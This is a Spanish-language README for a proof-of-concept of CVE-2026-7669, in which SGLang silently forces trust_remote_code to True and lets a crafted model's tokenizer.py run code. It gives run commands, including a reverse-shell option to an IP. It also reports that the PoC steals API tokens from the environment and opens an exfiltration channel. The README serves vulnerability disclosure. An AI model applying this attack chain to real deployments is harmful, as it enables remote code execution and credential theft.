
PoC para CVE-2026-7669: SGLang anulación silenciosa de trust_remote_code -> RCE
SGLang sobrescribe silenciosamente trust_remote_code=False a True y vuelve a invocar
AutoTokenizer.from_pretrained cada vez que transformers v5 devuelve un
objeto TokenizersBackend. Un modelo con un tokenizer_class personalizado y un
auto_map que apunte a tokenizer.py alcanza la ejecución arbitraria de código
dentro del proceso de SGLang incluso cuando el operador pasó False. No se emite
ninguna línea de registro en ningún nivel.
main actual (commit fae90abf6)python/sglang/srt/utils/hf_transformers_utils.py:898-909AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 Altaif not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
tokenizer = AutoTokenizer.from_pretrained(
tokenizer_name,
*args,
trust_remote_code=True,
tokenizer_revision=tokenizer_revision,
clean_up_tokenization_spaces=False,
**kwargs,
)
Introducido en el PR #17784
(commit d1e95af28, 2026-03-18). El aviso original de logger.info(...)
fue eliminado por el commit 27ac831a8 (2026-03-23) bajo un título de "docs: improve CI
and testing documentation", dejando la sobrescritura completamente silenciosa en
todas las versiones vulnerables publicadas.
git clone https://github.com/<your-org>/CVE-2026-7669.git
cd CVE-2026-7669
./run.sh
Construye una imagen Docker (python:3.12.7-slim-bookworm + transformers==5.3.0
Otros modos:
./run.sh --server reproducir vía TokenizerManager.__init__
./run.sh --versions matriz de transformers 5.0..5.5
./run.sh --revshell IP reverse shell opcional a IP:4444
./run.sh --rebuild forzar reconstrucción --no-cache
./run.sh --copy-ledger ./ledger.json
El código de salida 0 significa confirmado. Resumen final:
Phase 1 transformers + False return=TokenizersBackend exec=False
Phase 1b PATCHED sglang + False return=TokenizersBackend exec=False
Phase 2 REAL sglang + False return=MaliciousTokenizer exec=True
Phase 2b PATCHED sglang + True return=MaliciousTokenizer exec=True
Phase 3 REAL sglang + False (slow) return=MaliciousTokenizer exec=True
Claims: 29 PASS / 0 FAIL / 0 N/A / 29 TOTAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 High
*** VULNERABILITY CONFIRMED -- ALL CLAIMS BACKED ***
Códigos de salida:
| Código | Significado |
|---|---|
| 0 | Confirmado |
| 1 | No activado |
| 2 | Falso positivo (transformers en sí ejecutó tokenizer.py, el bug es upstream) |
| 3 | La verificación previa de versión fijada falló |
La fase de verificación previa lee pinned_versions.json y verifica cada valor
contra el entorno de ejecución. La deriva sale con código 3 antes de que se ejecute cualquier prueba.
| Componente | Fijación |
|---|---|
| Python | 3.12.7-slim-bookworm |
| transformers | 5.3.0 |
| Commit de SGLang | fae90abf6e15aaffb6fd924a439253674771487d |
SHA256 de hf_transformers_utils.py | 9e798eabf2451630bd5939aa9aa65ec397a769157f26fb905057c17ee938497e |
| Bloque vulnerable (líneas 898-909) SHA256 | 109fe46208631b80a58755799b44339e19b6902ffe76d68f18b31a59e26b2ece |
| Métrica | Valor | Respaldado por |
|---|---|---|
| AV | N | Los archivos de activación (config.json, tokenizer_config.json, tokenizer.json, tokenizer.py) son el diseño estándar de auto_map del HF Hub. Cualquier registro que los sirva alcanza el bug. |
| AC | L | PHASE-2 se activa de forma determinista en una sola ejecución. Cada condición de activación es contenido creado por el atacante. PRE-1..7 confirman que no hay fingerprinting del entorno. |
| PR | N | Una subida gratuita al HF Hub es suficiente. Nada en la cadena de activación requiere privilegios preexistentes sobre la víctima. |
| UI | R | La activación ocurre solo cuando un operador (o un pipeline configurado por el operador) invoca launch_server --model-path attacker/model. |
| S | U | Todas las afirmaciones SEV-* se ejecutan dentro de la autoridad del proceso de SGLang. Sin escape de sandbox ni de contenedor. |
| C | H | SEV-secrets captura HF_TOKEN, OPENAI_API_KEY, ANTHROPIC_API_KEY, GPG_KEY del entorno del proceso. SEV-network abre un canal de exfiltración TCP saliente. |
| I | H | SEV-write-sglang, SEV-write-launchsrv, SEV-write-model, SEV-pip son cuatro primitivas de integridad independientes en diferentes ubicaciones sensibles. |
| A | H | Inferido de RCE. SEV-pip demuestra ejecución arbitraria de subprocesos, que es la misma primitiva necesaria para un auto-DoS. El PoC no demuestra directamente un auto-kill. |
8.8 es el mínimo conservador. 9.6 (con S:C) y 10.0 (tanto S:C como
UI:N) son defendibles pero dependen del revisor.
UI:N no está justificado para este CVE. El servidor HTTP de SGLang tiene un
bypass genuino de no-autenticación por defecto cuando api_key=None y admin_api_key=None
(verificado por AUTH-1 contra la primitiva decide_request_auth en
tiempo de ejecución), pero ningún endpoint HTTP alcanza get_tokenizer después del arranque
(verificado por CHAIN-1). Los cuatro puntos de llamada de get_tokenizer
(TokenizerManager.__init__, Scheduler.__init__, TPWorker.__init__,
DetokenizerManager.__init__) se activan una vez al iniciar el servidor desde el
--model-path proporcionado por el operador. El bypass de autenticación es, por tanto, un problema
separado y no un socio de cadena para CVE-2026-7669.
El PoC escribe un registro JSON en /tmp/poc_claim_ledger.json con 29
afirmaciones individualmente comprobables. Usa ./run.sh --copy-ledger ./ledger.json
para extraerlo.